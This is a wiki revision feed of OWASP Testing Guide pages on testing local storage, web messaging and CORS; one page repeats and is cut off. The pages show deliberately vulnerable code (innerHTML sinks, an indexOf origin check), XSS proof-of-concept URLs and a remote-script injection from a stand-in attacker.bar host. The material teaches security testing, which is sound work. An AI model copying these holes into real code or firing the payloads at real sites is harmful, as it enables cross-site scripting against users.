&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).&lt;br /&gt;
There are two objects, localStorage that is persistent and sessionStorage that is temporary. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data store in these two objects is stored in the client and never sent to the server.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.&lt;br /&gt;
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.&lt;br /&gt;
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist until the window is closed, it is a bad idea to store sensitive data on this object or session indentifiers as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.&lt;br /&gt;
It shares most of the properties and the getItem/setItem methods, so we will look for these identifiers in the code to check where in the code the storage is accesed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox and the addon Firebug you can inspect easily inspect the localStorage/sessionStorage object in the DOM tab&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Tools &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;br /&gt;
...&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164666</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164666"/>
				<updated>2013-12-14T23:58:16Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: link added&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164665</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164665"/>
				<updated>2013-12-14T23:55:55Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: added link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164662</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164662"/>
				<updated>2013-12-14T23:33:52Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor edit&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
